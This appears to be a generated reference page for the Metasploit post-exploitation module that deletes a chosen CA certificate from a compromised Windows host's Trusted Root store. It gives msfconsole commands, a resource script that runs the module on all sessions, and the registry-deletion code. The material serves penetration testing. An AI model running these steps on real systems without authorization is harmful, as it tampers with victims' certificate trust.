Windows Manage Certificate Authority Removal - Metasploit


This page contains detailed information about how to use the post/windows/manage/remove_ca metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows Manage Certificate Authority Removal
Module: post/windows/manage/remove_ca
Source code: modules/post/windows/manage/remove_ca.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module allows the attacker to remove an arbitrary CA certificate from the victim's Trusted Root store.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/remove_ca

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/remove_ca
msf post(remove_ca) > show options
    ... show and set options ...
msf post(remove_ca) > set SESSION session-id
msf post(remove_ca) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/remove_ca")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/manage/remove_ca post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/remove_ca

msf6 post(windows/manage/remove_ca) > show info

       Name: Windows Manage Certificate Authority Removal
     Module: post/windows/manage/remove_ca
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  vt <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CERTID                    yes       SHA1 hash of the certificate to remove.
  SESSION                   yes       The session to run this module on.

Description:
  This module allows the attacker to remove an arbitrary CA 
  certificate from the victim's Trusted Root store.

Module Options

This is a complete list of options available in the windows/manage/remove_ca post exploitation module:

msf6 post(windows/manage/remove_ca) > show options

Module options (post/windows/manage/remove_ca):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CERTID                    yes       SHA1 hash of the certificate to remove.
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/manage/remove_ca post exploitation module:

msf6 post(windows/manage/remove_ca) > show advanced

Module advanced options (post/windows/manage/remove_ca):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/manage/remove_ca module can do:

msf6 post(windows/manage/remove_ca) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/manage/remove_ca post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/remove_ca) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The specified CA is not in the registry.

Here is a relevant code snippet related to the "The specified CA is not in the registry." error message:

41:	
42:	    if (keys.length > 1)
43:	      if (keys.include?(certtoremove))
44:	        # We found our target
45:	      else
46:	        print_error("The specified CA is not in the registry.")
47:	        return
48:	      end
49:	    else
50:	      print_error("These are not the CAs you are looking for (i.e. this registry branch is empty)")
51:	    end

These are not the CAs you are looking for (i.e. this registry branch is empty)

Here is a relevant code snippet related to the "These are not the CAs you are looking for (i.e. this registry branch is empty)" error message:

45:	      else
46:	        print_error("The specified CA is not in the registry.")
47:	        return
48:	      end
49:	    else
50:	      print_error("These are not the CAs you are looking for (i.e. this registry branch is empty)")
51:	    end
52:	
53:	    open_key = client.sys.registry.open_key(rkey, bkey, KEY_WRITE + 0x0000)
54:	    open_key.delete_key(certtoremove)
55:	    print_good("Successfully deleted CA: #{certtoremove}")

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See Also

Check also the following modules related to this module:

Authors

  • vt <nick.freeman[at]security-assessment.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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